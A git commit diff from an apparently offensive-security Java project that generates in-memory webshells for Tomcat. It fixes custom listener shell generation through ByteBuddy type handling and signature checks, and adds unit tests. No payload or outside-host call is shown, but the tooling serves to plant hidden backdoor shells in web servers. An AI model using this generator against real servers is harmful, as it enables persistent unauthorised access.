fix: custom listener shell generate failed

ReaJason · ReaJason · commit 335059bac2f9 · 2025-09-16T21:05:46.000+08:00
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java b/generator/src/main/java/com/reajason/javaweb/memshell/config/ShellToolConfig.java
@@ -4,6 +4,7 @@
 import lombok.Data;
 import lombok.NoArgsConstructor;
 import lombok.experimental.SuperBuilder;
+import net.bytebuddy.description.type.TypeDescription;
 
 /**
  * @author ReaJason
@@ -18,6 +19,7 @@ public class ShellToolConfig {
      * 模板类 shellClass
      */
     private Class<?> shellClass;
+    private TypeDescription shellTypeDescription;
 
     /**
      * shellClass 的类名
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ByteBuddyShellGenerator.java
@@ -1,6 +1,7 @@
 package com.reajason.javaweb.memshell.generator;
 
 import com.reajason.javaweb.ClassBytesShrink;
+import com.reajason.javaweb.GenerationException;
 import com.reajason.javaweb.ShellGenerator;
 import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
 import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
@@ -10,6 +11,7 @@
 import com.reajason.javaweb.memshell.config.ShellConfig;
 import com.reajason.javaweb.memshell.config.ShellToolConfig;
 import com.reajason.javaweb.memshell.server.AbstractServer;
+import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 
 /**
@@ -29,15 +31,21 @@ protected ByteBuddyShellGenerator(ShellConfig shellConfig, T shellToolConfig) {
 
     @Override
     public byte[] getBytes() {
-        Class<?> shellClass = shellToolConfig.getShellClass();
         String shellClassName = shellToolConfig.getShellClassName();
         DynamicType.Builder<?> builder = getBuilder();
+        Class<?> shellClass = shellToolConfig.getShellClass();
+        if (shellClass != null) {
+            shellToolConfig.setShellTypeDescription(TypeDescription.ForLoadedType.of(shellClass));
+        }
+        if (shellToolConfig.getShellTypeDescription() == null) {
+            throw new GenerationException("shellClass or shellTypeDescription could not be null.");
+        }
 
         String shellType = shellConfig.getShellType();
         AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
 
         if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
-            builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellClass, shellClassName);
+            builder = ListenerGenerator.build(builder, server.getListenerInterceptor(), shellToolConfig.getShellTypeDescription(), shellClassName);
         }
 
         if (ShellType.VALVE.equals(shellType) || ShellType.JAKARTA_VALVE.equals(shellType)) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/CustomShellGenerator.java
@@ -32,6 +32,7 @@ protected DynamicType.Builder<?> getBuilder() {
                 new TypePool.CacheProvider.Simple(), classFileLocator,
                 TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()
         ).describe(className).resolve();
+        shellToolConfig.setShellTypeDescription(typeDescription);
         return new ByteBuddy()
                 .redefine(typeDescription, classFileLocator);
     }
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java b/generator/src/main/java/com/reajason/javaweb/memshell/generator/ListenerGenerator.java
@@ -1,13 +1,17 @@
 package com.reajason.javaweb.memshell.generator;
 
+import com.reajason.javaweb.GenerationException;
 import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
 import com.reajason.javaweb.utils.ShellCommonUtil;
 import net.bytebuddy.asm.Advice;
+import net.bytebuddy.description.method.MethodDescription;
+import net.bytebuddy.description.method.MethodList;
 import net.bytebuddy.description.modifier.Ownership;
 import net.bytebuddy.description.modifier.Visibility;
 import net.bytebuddy.description.type.TypeDescription;
 import net.bytebuddy.dynamic.DynamicType;
 import net.bytebuddy.implementation.FixedValue;
+import net.bytebuddy.matcher.ElementMatchers;
 
 import static net.bytebuddy.matcher.ElementMatchers.named;
 import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
@@ -18,19 +22,26 @@
  */
 public class ListenerGenerator {
 
-    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor, Class<?> targetClass, String newClassName) {
-        builder = builder
-                .visit(MethodCallReplaceVisitorWrapper.newInstance(
-                        "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
-                .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
+    public static DynamicType.Builder<?> build(DynamicType.Builder<?> builder, Class<?> implInterceptor,
+                                               TypeDescription typeDefinition, String newClassName) {
+        MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
 
-        boolean methodNotFound = targetClass != null && TypeDescription.ForLoadedType.of(targetClass)
-                .getDeclaredMethods()
-                .filter(named("getFieldValue")
-                        .and(takesArguments(Object.class, String.class)))
-                .isEmpty();
+        if (methods.filter(ElementMatchers.named("getResponseFromRequest")
+                        .and(ElementMatchers.takesArguments(Object.class))
+                        .and(ElementMatchers.returns(Object.class)))
+                .isEmpty()) {
+            throw new GenerationException("[public Object getResponseFromRequest(Object request)] method not found" +
+                    " make sure arg and return type is Object.class");
+        } else {
+            builder = builder
+                    .visit(MethodCallReplaceVisitorWrapper.newInstance(
+                            "getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
+                    .visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
+        }
 
-        if (methodNotFound) {
+        if (methods.filter(named("getFieldValue")
+                        .and(takesArguments(Object.class, String.class)))
+                .isEmpty()) {
             builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
                     .withParameters(Object.class, String.class)
                     .throwing(Exception.class)
diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/CustomShellGeneratorTest.java
@@ -5,10 +5,12 @@
 import com.reajason.javaweb.memshell.ShellType;
 import com.reajason.javaweb.memshell.config.CustomConfig;
 import com.reajason.javaweb.memshell.config.ShellConfig;
+import com.reajason.javaweb.memshell.shelltool.command.CommandListener;
 import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
 import com.reajason.javaweb.utils.CommonUtil;
 import lombok.SneakyThrows;
 import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.description.type.TypeDescription;
 import org.junit.jupiter.api.Test;
 import org.objectweb.asm.ClassReader;
 
@@ -23,10 +25,31 @@
  * @since 2025/3/19
  */
 class CustomShellGeneratorTest {
+    @Test
+    @SneakyThrows
+    void testListener() {
+        byte[] bytes = new ByteBuddy()
+                .redefine(CommandListener.class)
+                .name(CommonUtil.generateShellClassName()).make().getBytes();
+        String className = CommonUtil.generateShellClassName();
+        ShellConfig shellConfig = ShellConfig.builder()
+                .server(Server.Tomcat)
+                .shellType(ShellType.LISTENER)
+                .build();
+        CustomConfig customConfig = CustomConfig.builder()
+                .shellClassName(className)
+                .shellClassBase64(Base64.getEncoder().encodeToString(bytes))
+                .shellTypeDescription(TypeDescription.ForLoadedType.of(CommandListener.class))
+                .build();
+        byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes();
+
+        ClassReader classReader = new ClassReader(bytes1);
+        assertEquals(className, classReader.getClassName().replace("/", "."));
+    }
 
     @Test
     @SneakyThrows
-    void test() {
+    void testFilter() {
         byte[] bytes = new ByteBuddy()
                 .subclass(Object.class)
                 .name(CommonUtil.generateShellClassName()).make().getBytes();
diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/generator/ListenerGeneratorTest.java
@@ -0,0 +1,66 @@
+package com.reajason.javaweb.memshell.generator;
+
+import com.reajason.javaweb.GenerationException;
+import com.reajason.javaweb.memshell.server.Tomcat;
+import lombok.SneakyThrows;
+import net.bytebuddy.ByteBuddy;
+import net.bytebuddy.description.type.TypeDescription;
+import net.bytebuddy.dynamic.DynamicType;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+import org.junit.platform.commons.util.ReflectionUtils;
+
+import javax.servlet.http.HttpServletRequest;
+import javax.servlet.http.HttpServletResponse;
+
+import java.lang.reflect.Method;
+
+import static org.junit.jupiter.api.Assertions.assertEquals;
+
+/**
+ * @author ReaJason
+ * @since 2025/9/16
+ */
+class ListenerGeneratorTest {
+
+    public static class L {
+        public Object getResponseFromRequest(Object request) {
+            return null;
+        }
+    }
+
+    public static class J {
+        public HttpServletResponse getResponseFromRequest(HttpServletRequest request) {
+            return null;
+        }
+    }
+
+    public static class FakeRequest {
+        public Object response = "i'm a good boy";
+    }
+
+    @Test
+    void testNoGetResponseFromRequest() {
+        DynamicType.Builder<?> builder = new ByteBuddy().redefine(Object.class);
+        Assertions.assertThrows(GenerationException.class, () -> ListenerGenerator.build(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(Object.class), "hello.world"));
+    }
+
+    @Test
+    void testGetResponseFromRequestSignatureError() {
+        DynamicType.Builder<?> builder = new ByteBuddy().redefine(J.class);
+        Assertions.assertThrows(GenerationException.class, () -> ListenerGenerator.build(builder, Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(J.class), "hello.world"));
+    }
+
+    @Test
+    @SneakyThrows
+    void test() {
+        String className = "hello.world";
+        DynamicType.Builder<?> build = ListenerGenerator.build(new ByteBuddy().redefine(L.class).name(className), Tomcat.ListenerInterceptor.class, TypeDescription.ForLoadedType.of(L.class), className);
+        Class<?> clazz = build.make().load(getClass().getClassLoader()).getLoaded();
+        Object obj = clazz.newInstance();
+        Method getResponseFromRequest = clazz.getDeclaredMethod("getResponseFromRequest", Object.class);
+        getResponseFromRequest.setAccessible(true);
+        Object response = getResponseFromRequest.invoke(obj, new FakeRequest());
+        assertEquals("i'm a good boy", response);
+    }
+}

Original file line number	Diff line number	Diff line change
`@@ -32,6 +32,7 @@ protected DynamicType.Builder<?> getBuilder() {`
`32`	`32`	`new TypePool.CacheProvider.Simple(), classFileLocator,`
`33`	`33`	`TypePool.Default.ReaderMode.FAST, TypePool.Default.ofSystemLoader()`
`34`	`34`	`).describe(className).resolve();`
	`35`	`+ shellToolConfig.setShellTypeDescription(typeDescription);`
`35`	`36`	`return new ByteBuddy()`
`36`	`37`	`.redefine(typeDescription, classFileLocator);`
`37`	`38`	`}`